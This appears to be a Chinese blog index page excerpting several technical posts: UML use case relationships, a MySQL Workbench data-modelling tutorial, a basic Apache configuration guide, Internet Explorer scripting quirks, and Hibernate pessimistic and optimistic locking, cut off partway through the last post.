【转】UML用例图中包含(include)、扩展(extend)和泛化(generalization)三种关系详解

 

共性:都是从现有的用例中抽取出公共的那部分信息,作为一个单独的用例,然后通后过不同的方法来重用这个公共的用例,以减少模型维护的工作量。

1、包含(include)

 

    包含关系:使用包含(Inclusion)用例来封装一组跨越多个用例的相似动作(行为片断),以便多个基(Base)用例复用。基用例控制与包含用例的 关系,以及被包含用例的事件流是否会插入到基用例的事件流中。基用例可以依赖包含用例执行的结果,但是双方都不能访问对方的属性。 

   包含关系对典型的应用就是复用,也就是定义中说的情景。但是有时当某用例的事件流过于复杂时,为了简化用例的描述,我们也可以把某一段事件流抽象成为一个被包含的用例;相反,用例划分太细时,也可以抽象出一个基用例,来包含这些细颗粒的用例。这种情况类似于在过程设计语言中,将程序的某一段算法封装成一个子过程,然后再从主程序中调用这一子过程。

   例如:业务中,总是存在着维护某某信息的功能,如果将它作为一个用例,那新建、编辑以及修改都要在用例详述中描述,过于复杂;如果分成新建用例、编辑用例和删除用例,则划分太细。这时包含关系可以用来理清关系。

2、扩展(extend)

扩展关系:将基用例中一段相对独立并且可选的动作,用扩展(Extension)用例加以封装,再让它从基用例中声明的扩展点(Extension Point)上进行扩展,从而使基用例行为更简练和目标更集中。扩展用例为基用例添加新的行为。扩展用例可以访问基用例的属性,因此它能根据基用例中扩展点的当前状态来判断是否执行自己。但是扩展用例对基用例不可见。

对于一个扩展用例,可以在基用例上有几个扩展点。   

例如,系统中允许用户对查询的结果进行导出、打印。对于查询而言,能不能导出、打印查询都是一样的,导出、打印是不可见的。导入、打印和查询相对独立,而且为查询添加了新行为。因此可以采用扩展关系来描述:

 

4、泛化(generalization)

 

泛化关系:子用例和父用例相似,但表现出更特别的行为;子用例将继承父用例的所有结构、行为和关系。子用例可以使用父用例的一段行为,也可以重载它。父用例通常是抽象的。在实际应用中很少使用泛化关系,子用例中的特殊行为都可以作为父用例中的备选流存在。

例如,业务中可能存在许多需要部门领导审批的事情,但是领导审批的流程是很相似的,这时可以做成泛化关系表示: 

 

上面是我参考的一篇文章,觉得将三种关系的区别讲得很清晰,在此基础上结合自己的系统,对项目(在线购物系统)的用例做了整体的描绘。

    *****************************************************************

    (1)系统整体用例图

按照先整体用例,后子系统用例来进行描绘的,欢迎大家提出好的建议!


转:UML中扩展和泛化的区别 

         泛化表示类似于OO术语“继承”或“多态”。UML中的Use Case泛化过程是将不同Use Case之间的可合并部分抽象成独立的父Use Case,并将不可合并部分单独成各自的子Use Case;包含以及扩展过程与泛化过程类似,但三者对用例关系的优化侧重点是不同的。如下:
          ●泛化侧重表示子用例间的互斥性;
          ●包含侧重表示被包含用例对Actor提供服务的间接性;
          ●扩展侧重表示扩展用例的触发不定性;详述如下:


       
既然用例是系统提供服务的UML表述,那么服务这个过程在所有用例场景中是必然发生的,但发生按照发生条件可分为如下两种情况:
         ⒈无条件发生:肯定发生的;
         ⒉有条件发生:未必发生,发生与否取决于系统状态;

         因此,针对用例的三种关系结合系统状态考虑,泛化与包含用例属于无条件发生的用例,而扩展属于有条件发生的用例。进一步,用例的存在是为Actor提供服 务,但用例提供服务的方式可分为间接和直接两种,依据于此,泛化中的子用例提供的是直接服务,而包含中的被包含用例提供的是间接服务。同样,扩展用例提供的也是直接服务,但扩展用例的发生是有条件的。

         另外一点需要提及的是:泛化中的子用例和扩展中的扩展用例均可以作为基本用例事件的备选择流而存在。


试题中抽象用例和使用关系我觉得就是指包含关系中的描述。

Continue reading 【转】UML用例图中包含(include)、扩展(extend)和泛化(generalization)三种关系详解

MySQL Workbench使用方法

要检查默认的启动/停止/状态检查命令是否是你设置的对应的mysql服务的名称 home/serveradmin/manage server instance

例如sc start mysql51 中mysql51 要对应实际的服务名称(不区分大小写)



MySQL Workbench is a visual database design tool recently released by MySQL AB. The tool is specifically for designing MySQL database.

MySQL Workbench has many functions and features; this article by Djoni Darmawikarta shows some of them by way of an example. We’ll build a physical data model for an order system where an order can be a sale order or a purchase order, and then, forward-engineer our model into an MySQL database.

MySQL Workbench is a visual database design tool recently released by MySQL AB. The tool is specifically for designing MySQL database.

What you build in MySQL Workbench is called physical data model. A physical data model is a data model for a specific RDBMS product; the model in this article will have some MySQL unique specifications. We can generate (forward-engineer) the database objects from its physical model, which in addition to tables and their columns, can also include other objects such as view.

MySQL Workbench has many functions and features; this article by Djoni Darmawikarta shows some of them by way of an example. We’ll build a physical data model for an order system where an order can be a sale order or a purchase order; and then, forward-engineer our model into an MySQL database.

The physical model of our example in EER diagram will look like in the following MySQL Workbench screenshot.

Visual MySQL Database Design in MySQL Workbench

Creating ORDER Schema

Let’s first create a schema where we want to store our order physical model. Click the + button (circled in red).

Visual MySQL Database Design in MySQL Workbench

Change the new schema’s default name to ORDER. Notice that when you’re typing in the schema name, its tab name on the Physical Schemata also changes accordingly—a nice feature.

The order schema is added to the Catalog (I circled the order schema and its objects in red).

Visual MySQL Database Design in MySQL Workbench

Close the schema window. Confirm to rename the schema when prompted.

Visual MySQL Database Design in MySQL Workbench

Creating Order Tables

We’ll now create three tables that model the order: ORDER table and its two subtype tables: SALES_ORDER and PURCHASE_ORDER, in the ORDER schema. First of all, make sure you select the ORDER schema tab, so that the tables we’ll create will be in this schema.

We’ll create our tables as EER diagram (EER = Enhanced Entity Relationship). So, double-click the Add Diagram button.

Visual MySQL Database Design in MySQL Workbench

Select (click) the Table icon, and then move your mouse onto the EER Diagram canvas and click on the location you want to place the first table.

Visual MySQL Database Design in MySQL Workbench

Visual MySQL Database Design in MySQL Workbench

Repeat for the other two tables. You can move around the tables by dragging and dropping.

Visual MySQL Database Design in MySQL Workbench

Next, we’ll work on table1, which we’ll do so using the Workbench’s table editor. We start the table editor by right-clicking the table1 and selecting Edit Table.

Visual MySQL Database Design in MySQL Workbench

Next, we’ll work on table1, which we’ll do so using the Workbench’s table editor. We start the table editor by right-clicking the table1 and selecting Edit Table.

Rename the table by typing in ORDER over table1.

Visual MySQL Database Design in MySQL Workbench

We’ll next add its columns, so select the Columns tab. Replace idORDER column name with ORDER_NO.

Visual MySQL Database Design in MySQL Workbench

Select INT as the data type from the drop-down list.

Visual MySQL Database Design in MySQL Workbench

We’d like this ORDER_NO column to be valued incrementally by MySQL database, so we specify it as AI column (Auto Increment).

AI is a specific feature of MySQL database.

Visual MySQL Database Design in MySQL Workbench

You can also specify other physical attributes of the table, such as its Collation; as well as other advanced options, such as its trigger and partioning (the Trigger and Partioning tabs).

Visual MySQL Database Design in MySQL Workbench

Notice that on the diagram our table1 has changed to ORDER, and it has its first column, ORDER_NO. In the Catalog you can also see the three tables.

The black dots on the right of the tables indicate that they’ve been included in an diagram.

Visual MySQL Database Design in MySQL Workbench

 


If you expand the ORDER folder, you’ll see the ORDER_NO column. As we define the column as a primary key, it has a key icon on its left.

Visual MySQL Database Design in MySQL Workbench

Back to the table editor, add the other columns: ORDER_DATE and ORDER_TYPE. The ORDER_TYPE can have one of two values: S for sales order, P for purchase order. As sales order is more common, we’d like to specify it as the column’s default value.

You add the next column by double-clicking the white space below the last column.

Visual MySQL Database Design in MySQL Workbench

In the same way, create the SALES_ORDER table and its columns.

Visual MySQL Database Design in MySQL Workbench

Lastly, create the PURCHASE_ORDER table and its columns.

Visual MySQL Database Design in MySQL Workbench

Create Relationships

We have now created all three tables and their columns. We haven’t done yet with our model; we still need to create the subtype relationships of our tables.

The SALES_ORDER is a subtype of ORDER, implying their relationship is 1:1 with the SALES_ORDER as the child and ORDER the parent, and also the ORDER’s key migrated to the SALES_ORDER. So, select (click) the 1:1 identifying relationship icon, and click it on the SALES_ORDER table and then ORDER table.

Visual MySQL Database Design in MySQL Workbench

Notice that the icon changes to a hand with the 1:1 relationship when you click it to the tables.

Visual MySQL Database Design in MySQL Workbench

Visual MySQL Database Design in MySQL Workbench

The 1:1 relationship is set; the ORDER_NO primary key is migrated and becomes the primary key of the SALES_ORDER table.

Visual MySQL Database Design in MySQL Workbench

Next, create the PURCHASE_ORDER to ORDER relationship, which is also 1:1 identifying relationship.

Visual MySQL Database Design in MySQL Workbench

We have now completed designing our tables and their relationships; let’s save our model as ORDER.mwb.

Visual MySQL Database Design in MySQL Workbench

Visual MySQL Database Design in MySQL Workbench

Generate DDL and Database

The final step of our data modeling in this article is generating the model into MySQL database. We’ll first generate the DDL (SQL CREATE script), and then execute the script.

From the File | Export menu, select Forward Engineer SQL CREATE Script.

Visual MySQL Database Design in MySQL Workbench

Visual MySQL Database Design in MySQL Workbench

Visual MySQL Database Design in MySQL Workbench

Lastly, execute the saved SQL CREATE script. We execute the script outside of MySQL Workbench; for example, we can execute it in a MySQL command console.

Visual MySQL Database Design in MySQL Workbench

Visual MySQL Database Design in MySQL Workbench

You can also confirm that the tables have been created.

Visual MySQL Database Design in MySQL Workbench

Summary

This article shows you how to build a MySQL physical data model visually in MySQL Workbench, and generate the model into its MySQL database.

Continue reading MySQL Workbench使用方法

【转】Apache基本配置指南

 

适合新手看的
当初学的时候做的笔记,不是很全,别笑俺。欢迎老手们修正和补充
1、如果找不到文件的具体位置,在Linux下可以用类似locate httpd.conf的指令来搜索文件的位置。如果搜索不到,可以先用updatedb指令更新索引数据库再用locate搜索。
2、apachectl configtest或apachectl –t检查配置文件是否合法。apachectl一般位于安装目录的bin目录下(如:/usr/local/apache2/bin)。不要直接调用httpd。
3、配置文件是httpd.conf;在Linux系统中,它可能存在于系统配置目录(如:/etc/httpd/conf/),也可能存在于Apache的安装目录(如:/usr/local/apache2/conf)。
4、配置文件中,一行包含一个指令,但行尾可以用\表示续行。\与下一行之间不能有其它任何字符,包括空白字符。
#表示这一行是注释。
5、指令对大小写不敏感,但是参数对大小定敏感,在Linux系统下,路径也要注意大小写。路径后不必加/。
6、类似于<Directory></Directory>表示一个配置段。大多数配置段中的指令仅针对配置段所匹配的请 求有 效。但诸如        <IfDefine>、<IfModule>、<IfVersion>之类,是在Apache启动时,如果条 件成立才有效,并且对所有请求都有效。
httpd.conf的基本配置选项
7、ServerName服务器名称。它用来创建URL的重导向。ServerName是apache服务器自身识别访问请求的标记之一,他不必与实际IP或DNS名称一致。也可以不设置,如果这样,那apache会试图用IP来作为请求的标记。端口也可以不设置。
例:ServerName www.example.com:80
8、ServerAdmin管理员的电子邮件地址。服务器的错误提示页会用到。如果ServerSignature定义为Email的话,将在错误页的页尾增加ServerAdmin的链接。
9、Listen服务器监听的地址和端口。端口一定要指定。默认情况下,服务器会监听本机的所有地址。可以同时使用多个Listen指令。
例一:同时所有接受来自端口80和8000的请求
Listen 80
Listen 8080
例二:指定地址+端口,配置虚拟主机时,会需要这样设置。详细看虚拟主机的设置。这并不是必要的。
Listen 192.168.0.2:80
Listen 192.168.0.1:8080
注意地址是本机的地址,是指客户端对本机某个地址的请求。地址可以是域名,但最好是IP地址。
例三:IPv6地址必须用方括号括起来。
Listen [2001:db8::a00:20ff:fea7:ccea]:80
例四:要使Apache只处理IPv4的请求,只需如此:
Listen 0.0.0.0:80
10、ServerRoot 服务器基础目录,一般就是Apache的安装目录,不必更改。
11、 DocumentRoot 指定主目录。不指定的话,默认目录一般是ServerRoot目录下的htdocs目录(如/usr/local/apache2/htdocs),视版 本而定;但是可能会有例外,所以最好指定。如果指定相对路径,则认为是相对于ServerRoot目录的。目录后不要加/。
12、DirectoryIndex 默认首页名称。多个默认页名称用空格隔开。
13、ErrorDocument 处理请求出错时的处理方式。未配置时只返回错误代码。
例:
ErrorDocument 500 “The server made a boo boo.”
# 指定本地URL时,该URL是相对于DocumentRoot目录的。
ErrorDocument 404 /missing.html
ErrorDocument 404 “/cgi-bin/missing_handler.pl”
# 使用绝对URL时,客户机将无法收到错误码。
ErrorDocument 402 http://www.example.com/subscription_info.html
14、ErrorLog,CustomLog 指定错误日志和访问日志。如果指定路径是相对路径,则认为是相对ServerRoot目录的。日志文件可能会很大,以至影响到其它文件的储存空间,所以有必要把日志文件放到一个单独的分区。
例一:
ErrorLog /var/log/error_log
# commom是日记文件的格式,由LogFormat定义。不可用于ErrorLog。
Customlog /var/log/access_log common
例二:管道日志,可以用Apache提供的rotatelogs来实现。rotatelogs程序一般位于安装目录的bin目录。
# 这将每24小时建立日志文件/var/log/logfile.nnnn,nnnn是日记建立时的系统时间。
CustomLog “|bin/rotatelogs /var/log/logfile 86400”common
# 日志文件达到5M时建立新日记,文件名类似于logfile.2006-12-30-24_33_12。
ErrorLog “|bin/rotatelogs /var/log/logfile.%Y-%m-%d-%H_%M_%S 5M”
15、User, Group 指定运行服务子进程的用户和组。Rpm包安装apache时会自动设置一个用户和组,但有时会设成nobody或者不设置。为了安全和方便管理,设置为用户和组为apache是很重要的。
例:User apache
Group apache
注意在Linux系统中手动添加apache用户和组时,必须把他们的shell指定为nologin
虚拟主机
16、虚拟主机通过<VirtualHost>配置段来配置,配置段里的指令对虚拟主机有效,配置段没有配置的,将采用全局的配置。检查虚拟主机的配置可用apachectl –S(可能某些版本这个参数无效)。
17、基于域名的虚拟主机在DNS把多个域名都映射到同一IP的情况下有用。典型的配置如下:
NameVirtualHost *:80
<VirtualHost *:80>
ServerAdmin [email protected]
DocumentRoot /www/docs/test.com
ServerName test.com
ErrorLog logs/dummy-host.example.com-error_log
CustomLog logs/dummy-host.example.com-access_log common
</VirtualHost>
<VirtualHost *:80>
DocumentRoot /www/docs/test2.com
ServerName test2.com
</VirtualHost>
NameVirtualHost *:81
<VirtualHost *:81>
DocumentRoot /www/docs/test3.com
ServerName test3.com
</VirtualHost>
注意一:NameVirtualHost 指定虚拟主机所使用的IP地址或域名,但是最好是IP地址。使用基于域名的虚拟主机时,NameVirtualHost是必要的指令。NameVirtualHost可以定义多个。
注意二:所有符合NameVirtualHost或<VirtualHost>标签定义的请求,都会被作为虚拟主机处理,而主服务器将不理 会。NameVirtualHost定义了而<VirtualHost>标签没有定义的的请求,服务器会找不到相应的虚拟主机而将无法处理。 所以每个NameVirtualHost定义的参数至少要有一个<VirtualHost>相匹配。
注意三:如果设置NameVirtualHost 或<VirtualHost>为*:80的话,所有针对80端口的请求,都会被虚拟主机处理,请求会根据域名指向某个虚拟主机。如果有来自 80端口的请求,而所请求的域名没有被配置为虚拟主机,那将指向第一个虚拟主机。这样主服务器将无法收到来自80端口的任何请求。为此也要为主服务器配置 一个虚拟主机。
18、ServerAlias 虚拟主机的别名
例:
NameVirtualHost *:80
<VirtualHost *:80>
ServerName www.domain.tld
ServerAlias domain.tld *.domain.tld
DocumentRoot /www/domain
</VirtualHost>
这表示对 domain.tld和*.domain.tld的请求也由虚拟主机www.domain.tld处理。
19、ServerPath指令是用于让某些老式浏览器也访问基于域名的虚拟主机的,一般不必设置。
20、基于IP地址的虚拟主机。例:
Listen 80
<VirtualHost 172.20.30.40>
DocumentRoot /www/example1
ServerName www.example.com
</VirtualHost>
<VirtualHost 172.20.30.50 192.168.0.10:80>
DocumentRoot /www/example2
ServerName www.example.org
</VirtualHost>
每个虚拟主机可定义多个IP,之间用空格隔开。
21、各种虚拟主机的混用。例:
Listen 80
Listen 81
NameVirtualHost 172.20.30.40
<VirtualHost 172.20.30.40>
DocumentRoot /www/example1
ServerName www.example.com
</VirtualHost>
<VirtualHost 172.20.30.40>
DocumentRoot /www/example2
ServerName www.example.org
</VirtualHost>
NameVirtualHost 172.20.30.40:81
<VirtualHost 172.20.30.40:81>
DocumentRoot /www/example3
ServerName www.example3.net
</VirtualHost>
# IP-based
<VirtualHost 172.20.30.50>
DocumentRoot /www/example4
ServerName www.example4.edu
</VirtualHost>
<VirtualHost 172.20.30.60:81 172.20.30.40:81>
DocumentRoot /www/example5
ServerName www.example5.gov
</VirtualHost>
22、虚拟主机混用时的问题:
一、虚拟主机混用可以这样理解:一行NameVirtualHost指令定义的所有虚拟主机为一组;该组与一个基于IP的虚拟主机平级。即把一行NameVirtualHost定义的整个组看作是一个基于IP的虚拟主机。
二、虚拟主机指定的端口必须是Listen定义的。如果虚拟主机没有指定端口,则认为是80端口。如果NameVirtualHost * 这样定义,是指所有地址的所有已定义端口。
三、更具体的地址定义优先。比如NameVirtualHost指令定义了*:80,而某个基于IP的虚拟主机定义为192.168.0.1:80,那么 此时如有对192.168.0.1:80的请求,那请求会被优先指向192.168.0.1:80定义的虚拟主机。所以为了避免混乱,不要定义相互有交叉 或包含的地址区间。
四、一个虚拟主机,可以同时为基于域名和基于IP的。如上一例中最后一个虚拟主机。这样符合两种定义的请求都会被指同一个虚拟主机。有时要区别内外网对虚拟主机的访问时可以这样,因为来自内网的请求可能和来自外网的请求可能不一样,但是它们需要指向同一个虚拟主机。
23、使用”_default_”虚拟主机,这个虚拟主机可以理解成基于IP的虚拟主机。例:
<VirtualHost _default_:*>
DocumentRoot /www/default
</VirtualHost>
这个虚拟主机将接管与其它虚拟主机IP和端口不匹配的请求。不过如此一来,主服务器将不会处理任何请求。因此把主服务器配置成一个虚拟主机是必要的。
24、本地机器代理在其它机器上运行的虚拟主机。例:
<VirtualHost 158.29.33.248>
ProxyPreserveHost On
ProxyPass /foo/no !
ProxyPass /foo http://192.168.111.2
ProxyPassReverse /foo http://192.168.111.2
ServerName hostname.example.com
</VirtualHost>
一、首先这是一个基于IP的虚拟主机,它接收并处理对IP地址158.29.33.248的请求。
二、ProxyPass /foo http://192.168.111.2 将把对http://158.29.33.248/foo的请求转换为一个代理请求,该请求指向http://192.168.111.2
三、ProxyPass /foo/no ! 不代理针对/foo/no的请求。这个必须放在正常代理指令之前。
四、ProxyPreserveHost On 意思是传送原始请求的Host信息给被代理的机器。
五、ProxyPassReverse /foo http://192.168.111.2 可以保证请求URL在其它机器上被重定向后,本机处理时也可以保持一致。具体看手册关于反向代理的部分。
六、基于域名的虚拟主机也是同样的道理。不管是什么类型的虚拟主机,它只是处理归它处理的请求而已。
配置段
25、<IfDefine> 只有在用httpd命令行启动服务器时(最好不要直接使用httpd,用apachectl代替),使用了-D参数定义了相应参数时才生效。如服务器用 apachectl –D test启动时,<IfDefine test>配置段生效。
26、<IfVersion> 例如:<IfVersion >= 2.0.55> 当Apache版本不低于2.0.55时生效。
27、<IfModule> 服务器启用了指定的模块后才生效。这是最常用的。例如<IfModule mod_mine_magic.c>。
28、<Directory> 用于封装一组指令,使之对某个目录和下属的子目录有效。
例:
<Directory />
Options FollowSymLinks Indexes
AllowOverride None
Order Deny,Allow
Deny from All
Allow from example.com
</Directory>
该配置段对整个根目录树有效。
一、 Options 常用选项:FollowSymlinks允许在此目录中使用符号链接;Indexes允许目录列表,即在该目录没有默认页时服务器返回该目录的列表给客户 机;SymLinksIfOwnerMatch只有符号链接与其目的目录或文件属于同一用户时才有效。
注意:对同一目录,只有一行Options有效,如果定义某个目录的Options同时要继承上级目录的定义,可以这样:Options +Indexes。如果这样:Options +Indexes –FollowSymLinks,这将为本级目录增加Indexes,取消FollowSymLinks。
二、AllowOverride 常用选项:None 不允许使用.htaccess;All允许在.htaccess中使用所有的指令。一般不必使用.htaccess,而且为了安全和效率起见,设置为None比较好。
三、Order 访问控制,控制条件由Deny行和Allow行定义。Order指令常用选项:Deny,Allow 除了符合条件的外,其它的也允许访问;Allow,Deny 除了符合条件的外,其它的不允许访问。
Deny from All是拒绝所有的访问,Allow from example.com是允许example.com域访问该目录(意思是如果该服务器上有多个虚拟主机的话,只有example.com可以访问该目 录)。三行合起来的意思就是只允许example.com域访问根目录。当然这只是个例子,应该禁止所有域对根目录的访问。注意:Deny,Allow指 令生效的顺序取决于Order中Deny和Allow的顺序。
注意<Directory>不能嵌套。
这样为了安全起见常常需要设置:
#拒绝对所有目录的访问,注意这里的/是指操作系统的根目录,而非DocumentRoot目录。
<Directory />
Options –Indexes -FollowSymLinks
AllowOverride None
Order Allow,Deny
</Directory>
#允许所有对/var/htdocs的访问,允许对/var/htdocs的文件列表。
<Directory /var/htdocs>
Options +Indexes
Order Deny,Allow
</Directory>
29、<Files> 和<Directory>类似,不过它定义的是对文件的访问控制。它们都可以接受正则表达式为参数, 格式 如<Files ~ “\.(gif|jpe?g|png)$”>或者<FilesMatch “\.(gif|jpe?g|png)$”>。
30、<Location>与<Files>和<Directory>同,不过它定义的是对URL的访问控制。
PHP配置
31、加载php模块:LoadModule php5_module modules/libphp5.so
32、AddModule mod_php5.c (不是必须的)
33、哪种后缀的文件作为php脚本来解析:AddType application/x-httpd-php .php (这是必须的,但是可以用下面的配置代替):
<Files *.php>
SetOutputFilter PHP
SetInputFilter PHP
</Files>
这种方法还可以为.php文件专门设置更多的配置。
34、哪种后缀的文件是php源文件:Addtype application/x-httpd-php-source .phps (不是必须的)
35、添加index.php为目录首页:DirectoryIndex index.php(视情况而定)
36、 ScriptAlias /php/ /usr/local/php/ 对类似http://example/php/abc.php的请求将引导执行/usr/local/php/abc.php脚本。(一些所谓配置指南里 有,事实上完全没有这个必要。并且ScriptAlias这个指令是针对CGI脚本的。他会把php脚本也当作已定义的cgi脚本处理)。
37、 Action application/x-httpd-php “C:/PHP/php.exe” 所有application/x-httpd-php类型的文件都由C:/PHP/php.exe来处理,注意application/x-httpd- php必须是已经定义的文件类型。(只有在windows中以CGI模式安装PHP时才有用)。
38、事实上,必要的配置只有这么两条:
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php
可以把相关php的配置语句都放在一起便于管理。简单至此,不要被一些配置指南吓住了

Continue reading 【转】Apache基本配置指南

ie 纠结汇总

IE8中点击锚记,如果a标记的target不是_blank,且href不是#,则会触发window的onload和onbeforeunload.
也就是说--经常的写法href="javascript:void(0)"也是会触发事件,估计MS是被石头敲了。

------------------------------------------------------

onload事件问题:
下面的写法:
<script type="text/javascript">
function ops(){
var win = window.open('','_blank');
win.onload = function(){
alert('ok');
};
win.location.href = 'test.html';
}
</script>
</head>
<body>

<div class="bb" onclick="ops();">
圆角三边 这里是内容
</div>

</body>

火狐里面是可以alert的,但是ie8就不行。
解决办法是子窗体调父窗体的方法模拟回调。(IE真是让人纠结。)

另外的:

window的onload事件比较容易触发不了,往往出现在初始化页面时此时你认为还没有onload但是

document.readyState 已经是 "complete"了,所以此时添加的onload事件不会触发。
-----------------------------------------------------------------
Ie8 window.open函数指定 location=no status=no 不起作用的原因是:ie8安全设置里需要加入站点为可信任站点,这种前提下,location=no status=no才会起作用。
----------------------------------------------------------------
默认div overflow-y:auto时,当出现滚动条时,用户想要选择文字,他向上滚动滚动条也应该滚动,但是如果设置了overflow-x:hidden,ie就白痴的不滚动了,FF下面是滚动的。
------------------------------------------------------------
window 的onblur事件:当这个窗口的某个元素获得焦点时,竟然也会触发window的onblur事件。(不一定是所有的情况会出现这个问题,具体那种情况下会出现这个问题还不知道)做chat时窗口消息提示出现问题就是这个原因,还好ie特别的有document的onfocusin 和onfocus out事件可以替代,因为页面元素获得焦点不会触发document的onblur事件[也可能是触发,但是最终也会触发 onfocusin,:onfocusout->onfocusin]
------------------------------------------------------------
在unbeforeload 和 ununload事件里发送ajax请求的话,ie会无法传送post值,解决办法是使用header来传参,但是header有大小限制,数据量太大的话就不会被服务器接收。也可使用ajax的同步请求来解决。使用new Image().src的方式也可以,但感觉不是很稳定。

------------------------------------------------------------

IE TEXTAREA javascript换行问题:

IE TEXTAREA javascript换行 txt.value+='\r\n';光标会显示没有换行(其实已经换行了),FF,chrome是好的,ie(6,7,8)有此bug,解决方案:将event.keyCode = 13让文本换行。

--------------------------------------------------------------------

ie 下的checkbox点击总觉得怪怪的,有时明明点了却没效果。

如果要将某个元素disable掉,el.disabled = true;这样写到是没问题。

但是要将原来disabled 的元素enable的话,el.disabled = false; 在IE下就有点怪了,有时可以有时又不行。

解决方法是删除掉disabled 属性 el.removeAttribute('disabled');

-----------------------------------------------------------------

scrollLeft

一般ie还是支持这个的,有的版本(ie7beta)

在面顶部声明为: DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  "http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-transitional.dtd"> 就会有问题.

但是往往在你加载页面时得到的scrollLeft为0,要等到页面全部初始化好后才能得到正确的值。

--------------------------------------------------------------------

ie6 option selected属性问题:

ie6下设置option的selected属性会导致脚本错误:option.selected = true;//error

解决办法:option.setAttribute('selected', true); //work

-----------------------------------------------------------------------------------

其实IE对于非表单物件一样可以用getElementsByName,只不过要求那个element 的Name和Id 都存在并且相同. 否则就取不到。

<div id="spn" name="spn">...</div>
<div id="spn" name="spn">...</div>

------------------------------------------------------------------------------------

title换行,这个只有IE可以,使用&#13;来代表换行

但是用包含这个字符的html使用extjs模板会导致非IE浏览器下模板编译错误!

---------------------------------------------------------------------------

对于下面的html:

<div id="content">
  	<div class="line">
    <div id="c1" class="ct"><div id="holder1" class="holder">1</div></div>
    <div id="c2" class="ct"><div id="holder2" class="holder">2</div></div>
    </div>
    </div>

想让div#c1,div#c2横向排列,如果这样写:

.ct{
	float: left;
}

ok,那是没问题的。

但是如果这样写:

.line>div{
	float: left;
}

你会发现c1,c2仍然换行了。这个问题只有ie才有。



Continue reading ie 纠结汇总

【转】Hibernate的乐观锁与悲观锁


锁( locking )
业务逻辑的实现过程中,往往需要保证数据访问的排他性。如在金融系统的日终结算处理中,我们希望针对某个 cut-off 时间点的数据进行处理,而不希望在结算进行过程中(可能是几秒种,也可能是几个小时),数据再发生变化。此时,我们就需要通过一些机制来保证这些数据在某 个操作过程中不会被外界修改,这样的机制,在这里,也就是所谓的 “锁” ,即给我们选定的目标数据上锁,使其无法被其他程序修改。Hibernate 支持两种锁机制:即通常所说的 “悲观锁( Pessimistic Locking )”和 “乐观锁( Optimistic Locking )” 。

悲观锁( Pessimistic Locking )
悲观锁,正如其名,它指的是对数据被外界(包括本系统当前的其他事 务,以及来自外部系统的事务处理)修改持保守态度,因此,在整个数据处理过程中,将数据处于锁定状态。悲观锁的实现,往往依靠数据库提供的锁机制(也只有 数据库层提供的锁机制才能真正保证数据访问的排他性,否则,即使在本系统中实现了加锁机制,也无法保证外部系统不会修改数据)。
一个典型的倚赖数据库的悲观锁调用:
select * from account where name=”Erica” for update
这条 sql 语句锁定了 account 表中所有符合检索条件(name=”Erica”)的记录。本次事务提交之前(事务提交时会释放事务过程中的锁),外界无法修改这些记录。Hibernate 的悲观锁,也是基于数据库的锁机制实现。
下面的代码实现了对查询记录的加锁:
String hqlStr ="from TUser as user where user.name=‘Erica‘";
Query query = session.createQuery(hqlStr);
query.setLockMode("user",LockMode.UPGRADE); // 加锁
List userList = query.list();// 执行查询,获取数据
query.setLockMode 对查询语句中,特定别名所对应的记录进行加锁(我们为TUser 类指定了一个别名 “user” ),这里也就是对返回的所有 user 记录进行加锁。
观察运行期 Hibernate 生成的 SQL 语句:
select tuser0_.id as id, tuser0_.name as name, tuser0_.group_id
as group_id, tuser0_.user_type as user_type, tuser0_.sex as sex
from t_user tuser0_ where (tuser0_.name=‘Erica‘ ) for update
这里 Hibernate 通过使用数据库的 for update 子句实现了悲观锁机制。
Hibernate 的加锁模式有:
LockMode.NONE : 无锁机制。
LockMode.WRITE : Hibernate 在 Insert 和 Update 记录的时候会自动获取。
LockMode.READ : Hibernate 在读取记录的时候会自动获取。
以上这三种锁机制一般由 Hibernate 内部使用,如 Hibernate 为了保证 Update过程中对象不会被外界修改,会在 save 方法实现中自动为目标对象加上 WRITE 锁。
LockMode.UPGRADE :利用数据库的 for update 子句加锁。
LockMode. UPGRADE_NOWAIT : Oracle 的特定实现,利用 Oracle 的 for update nowait 子句实现加锁。
上面这两种锁机制是我们在应用层较为常用的,加锁一般通过以下方法实现:
Criteria.setLockMode
Query.setLockMode
Session.lock

PS:session.load也可以,控制台实现就是用一个专门的表的一条记录来作为锁
注意,只有在查询开始之前(也就是 Hiberate 生成 SQL 之前)设定加锁,才会真正通过数据库的锁机制进行加锁处理,否则,数据已经通过不包含 for update 子句的 Select SQL 加载进来,所谓数据库加锁也就无从谈起。

乐观锁( Optimistic Locking )
相对悲观锁而言,乐观锁机制采取了更加宽松的加锁机制。悲观锁大多数情况下依靠数据库的锁机制实现,以保证操作最大程度的独占性。但随之而来的就是数据库性能的大量开销,特别是对长事务而言,这样的开销往往无法承受。
如 一个金融系统,当某个操作员读取用户的数据,并在读出的用户数据的基础上进行修改时如更改用户帐户余额),如果采用悲观锁机制,也就意味着整个操作过程中 (从操作员读出数、开始修改直至提交修改结果的全过程,甚至还包括操作员中途去煮咖啡的时间),数据库记录始终处于加锁状态,可以想见,如果面对几百上千 个并发,这样的情况将导致怎样的后果。乐观锁机制在一定程度上解决了这个问题。乐观锁,大多是基于数据版本( Version )记录机制实现。何谓数据版本?即为数据增加一个版本标识,在基于数据库表的版本解决方案中,一般是通过为数据库表增加一个 “version” 字段来实现。
读取出数据时,将此版本号一同读出,之后更新时,对此版本号加一。此时,将提交数据的版本数据与数据库表对应记录的当前版本信息进行比对,如果提交的数据版本号大于数据库表当前版本号,则予以更新,否则认为是过期数据。
对于上面修改用户帐户信息的例子而言,假设数据库中帐户信息表中有一个version 字段,当前值为 1 ;而当前帐户余额字段(balance)为 $100 。
1 操作员 A 此时将其读出(version=1),并从其帐户余额中扣除 $50($100-$50)。
2 在操作员 A 操作的过程中,操作员 B 也读入此用户信息(version=1),并从其帐户余额中扣除 $20 ($100-$20)。
3 操作员 A 完成了修改工作,将数据版本号加一(version=2),连同帐户扣除后余额(balance=$50),提交至数据库更新,此时由于提交数据版本大于数据库记录当前版本,数据被更新,数据库记录 version 更新为 2 。
4 操作员 B 完成了操作,也将版本号加一(version=2)试图向数据库提交数据(balance=$80),但此时比对数据库记录版本时发现,操作员 B 提交的数据版本号为 2 ,数据库记录当前版本也为 2 ,不满足“ 提交版本必须大于记录当前版本才能执行更新“ 的乐观锁策略,因此,操作员 B 的提交被驳回。这样,就避免了操作员 B 用基于 version=1 的旧数据修改的结果覆盖操作员 A 的操作结果的可能。
